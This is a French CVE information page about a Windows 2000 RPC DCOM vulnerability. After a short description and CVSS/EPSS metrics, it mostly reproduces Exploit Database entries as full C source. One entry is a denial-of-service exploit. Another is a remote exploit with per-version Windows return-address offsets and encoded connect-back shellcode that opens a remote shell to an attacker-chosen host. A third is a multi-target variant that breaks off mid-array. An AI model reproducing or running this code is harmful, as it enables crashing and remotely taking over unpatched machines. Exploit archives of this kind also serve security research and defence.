Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
The RPC DCOM interface in Windows 2000 SP3 and SP4 allows remote attackers to cause a denial of service (crash), and local attackers to use the DoS to hijack the epmapper pipe to gain privileges, via certain messages to the __RemoteGetClassObject interface that cause a NULL pointer to be passed to the PerformScmStage function.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 61
Date de publication : 2003-07-20 22h00 +00:00
Auteur : Flashsky
EDB Vérifié : Yes
// This is a new unpatched vulnerability - NOT the MS03-026
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
void main(int argc,char ** argv)
{
WSADATA WSAData;
int i;
SOCKET sock;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
}
// milw0rm.com [2003-07-21]
Exploit Database EDB-ID : 69
Date de publication : 2003-07-28 22h00 +00:00
Auteur : pHrail
EDB Vérifié : Yes
//////////////////////////////////////////////////////////////////////////////////////////////
//
// Windows RPC DCOM Remote Exploit with 18 Targets
// by pHrail and smurfy + some offsets by teos
//
// Targets:
// 0 Win2k Polish nosp ver 5.00.2195
// 1 Win2k Polish +sp3 ver 5.00.2195
// 2 Win2k Spanish +sp4
// 3 Win2k English nosp 1
// 4 Win2k English nosp 2
// 5 Win2k English +sp1
// 6 Win2k English +sp2 1
// 7 Win2k English +sp2 2
// 8 Win2k English +sp3 1
// 9 Win2k English +sp3 2
// 10 Win2k English +sp4
// 11 Win2k China +sp3
// 12 Win2k China +sp4
// 13 Win2k German +sp3
// 14 Win2k Japanese +sp2
// 15 WinXP English nosp ver 5.1.2600
// 16 WinXP English +sp1 1
// 17 WinXP English +sp1 2
// 18 WinXP English +sp2
//
//////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DWORD unsigned long
#define SOCKET_ERROR -1
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* Myam add OFFSETS*/
char win2knosppl[] = "\x4d\x3f\xe3\x77"; /* polish win2k nosp ver 5.00.2195*/
char win2ksp3pl[] = "\x29\x2c\xe4\x77"; /* polish win2k sp3 - ver 5.00.2195 tested */
char win2ksp4sp[] = "\x13\x3b\xa5\x77"; /* spanish win2k sp4 */
char win2knospeng1[] = "\x74\x16\xe8\x77"; /* english win2k nosp 1 */
char win2knospeng2[] = "\x6d\x3f\xe3\x77"; /* english win2k nosp 2 */
char win2ksp1eng[] = "\xec\x29\xe8\x77"; /* english win2k sp1 */
char win2ksp2eng1[] = "\x2b\x49\xe2\x77"; /* english win2k sp2 1 */
char win2ksp2eng2[] = "\xb5\x24\xe8\x77"; /* english win2k sp2 2 */
char win2ksp3eng1[] = "\x7a\x36\xe8\x77"; /* english win2k sp3 1 */
char win2ksp3eng2[] = "\x5c\xfa\x2e\x77"; /* english win2k sp3 2 */
char win2ksp4eng[] = "\x9b\x2a\xf9\x77"; /* english win2k sp4 */
char win2ksp3chi[] = "\x44\x43\x42\x41"; /* china win2k sp3 */
char win2ksp4chi[] = "\x29\x4c\xdf\x77"; /* china win2k sp4 */
char win2ksp3ger[] = "\x7a\x88\x2e\x77"; /* german win2k sp3 */
char win2ksp2jap[] = "\x2b\x49\xdf\x77"; /* japanese win2k sp2 */
char winxpnospeng[] = "\xe3\xaf\xe9\x77"; /* english xp nosp ver 5.1.2600 */
char winxpsp1eng1[] = "\xba\x26\xe6\x77"; /* english xp sp1 1 */
char winxpsp1eng2[] = "\xdb\x37\xd7\x77"; /* english xp sp1 2 */
char winxpsp2eng[] = "\xbd\x73\x7d\x77"; /* english xp sp2 */
/* Test this offset
( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B
Windows 2000 (no-service-pack) English 0x77e33f6d
0x77f92a9b
0x77e2afc5
0x772254b0 win2k3
0x77E829E3 / 0x77E83587 kokanin win2k sp3
*/
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\x29\x4c\xdf\x77" //sp4
//"\x29\x2c\xe2\x77"//0x77e22c29
"\x38\x6e\x16\x76\x0d\x6e\x16\x76"
//下面是SHELLCODE，可以
//SHELLCODE不存在0X00，0X00与0X5C
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
// code
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
int main(int argc,char ** argv)
{
int len, len1, sockfd;
short port=135;
struct hostent *he;
struct sockaddr_in their_addr;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;
printf("OC192 RPC DCOM Remote Exploit BSD/Linux Port, thanks LSD and XFORCE\n");
if(argc<5)
{
printf("[<$>] OC192 RPC Remote Windows Exploit\n");
printf("[<$>] by pHrail and smurfy + some offsets by teos\n");
printf("[<$>] Thanks to LSD and XForce\n");
printf("[<$>] Usage: %s <victim> <connectback ip> <cb port> <target>\n",argv[0]);
printf("[<$>] On connect back nc -lp cbport\n");
printf("[<$>] Targets: 0 Win2k Polish nosp ver 5.00.2195\n");
printf("[<$>] 1 Win2k Polish +sp3 ver 5.00.2195\n");
printf("[<$>] 2 Win2k Spanish +sp4\n");
printf("[<$>] 3 Win2k English nosp 1\n");
printf("[<$>] 4 Win2k English nosp 2\n");
printf("[<$>] 5 Win2k English +sp1\n");
printf("[<$>] 6 Win2k English +sp2 1\n");
printf("[<$>] 7 Win2k English +sp2 2\n");
printf("[<$>] 8 Win2k English +sp3 1\n");
printf("[<$>] 9 Win2k English +sp3 2\n");
printf("[<$>] 10 Win2k English +sp4\n");
printf("[<$>] 11 Win2k China +sp3\n");
printf("[<$>] 12 Win2k China +sp4\n");
printf("[<$>] 13 Win2k German +sp3\n");
printf("[<$>] 14 Win2k Japanese +sp2\n");
printf("[<$>] 15 WinXP English nosp ver 5.1.2600\n");
printf("[<$>] 16 WinXP English +sp1 1\n");
printf("[<$>] 17 WinXP English +sp1 2\n");
printf("[<$>] 18 WinXP English +sp2\n");
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
perror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("Sorry, cannot connect to %s. Try again...\n", argv[1]);
exit(1);
}
if(atoi(argv[4])==0)
memcpy(sc+36,win2knosppl,sizeof(win2knosppl));
else if (atoi(argv[4])==1)
memcpy(sc+36,win2ksp3pl,sizeof(win2ksp3pl));
else if (atoi(argv[4])==2)
memcpy(sc+36,win2ksp4sp,sizeof(win2ksp4sp));
else if (atoi(argv[4])==3)
memcpy(sc+36,win2knospeng1,sizeof(win2knospeng1));
else if (atoi(argv[4])==4)
memcpy(sc+36,win2knospeng2,sizeof(win2knospeng2));
else if (atoi(argv[4])==5)
memcpy(sc+36,win2ksp1eng,sizeof(win2ksp1eng));
else if (atoi(argv[4])==6)
memcpy(sc+36,win2ksp2eng1,sizeof(win2ksp2eng1));
else if (atoi(argv[4])==7)
memcpy(sc+36,win2ksp2eng2,sizeof(win2ksp2eng2));
else if (atoi(argv[4])==8)
memcpy(sc+36,win2ksp3eng1,sizeof(win2ksp3eng1));
else if (atoi(argv[4])==9)
memcpy(sc+36,win2ksp3eng2,sizeof(win2ksp3eng2));
else if (atoi(argv[4])==10)
memcpy(sc+36,win2ksp4eng,sizeof(win2ksp4eng));
else if (atoi(argv[4])==11)
memcpy(sc+36,win2ksp3chi,sizeof(win2ksp3chi));
else if (atoi(argv[4])==12)
memcpy(sc+36,win2ksp4chi,sizeof(win2ksp4chi));
else if (atoi(argv[4])==13)
memcpy(sc+36,win2ksp3ger,sizeof(win2ksp3ger));
else if (atoi(argv[4])==14)
memcpy(sc+36,win2ksp2jap,sizeof(win2ksp2jap));
else if (atoi(argv[4])==15)
memcpy(sc+36,winxpnospeng,sizeof(winxpnospeng));
else if (atoi(argv[4])==16)
memcpy(sc+36,winxpsp1eng1,sizeof(winxpsp1eng1));
else if (atoi(argv[4])==17)
memcpy(sc+36,winxpsp1eng2,sizeof(winxpsp1eng2));
else if (atoi(argv[4])==18)
memcpy(sc+36,winxpsp2eng,sizeof(winxpsp2eng));
port1 = htons(atoi(argv[3]));
port1 ^= 0x9393;
cb=inet_addr(argv[2]);
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if(send(sockfd, bindstr, sizeof(bindstr), 0)== -1){
printf("Send failed pussy.\n");
exit(1);
}
len=recv(sockfd,buf1,1000,NULL);
if (send(sockfd,buf2,len1,0)==SOCKET_ERROR) {
printf("Send failed pussy\n");
return;
}
len=recv(sockfd,buf1,1024,NULL);
}
// milw0rm.com [2003-07-29]
Exploit Database EDB-ID : 70
Date de publication : 2003-07-29 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes
//////////////////////////////////////////////////////////////////////////
//
// Windows RPC DCOM Remote Exploit with 48 TARGETS (Fixed)
//
//////////////////////////////////////////////////////////////////////////
//
// English - French - Chinese - Polish - German
// Japanese - Korean - Mexican - Kenyan
//
// Tks to all wolrd wide contributors (Public Property)
//
// New Targets ? contrib@k-otik.com
//
//////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
#define DWORD unsigned long
WSADATA wsa;
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
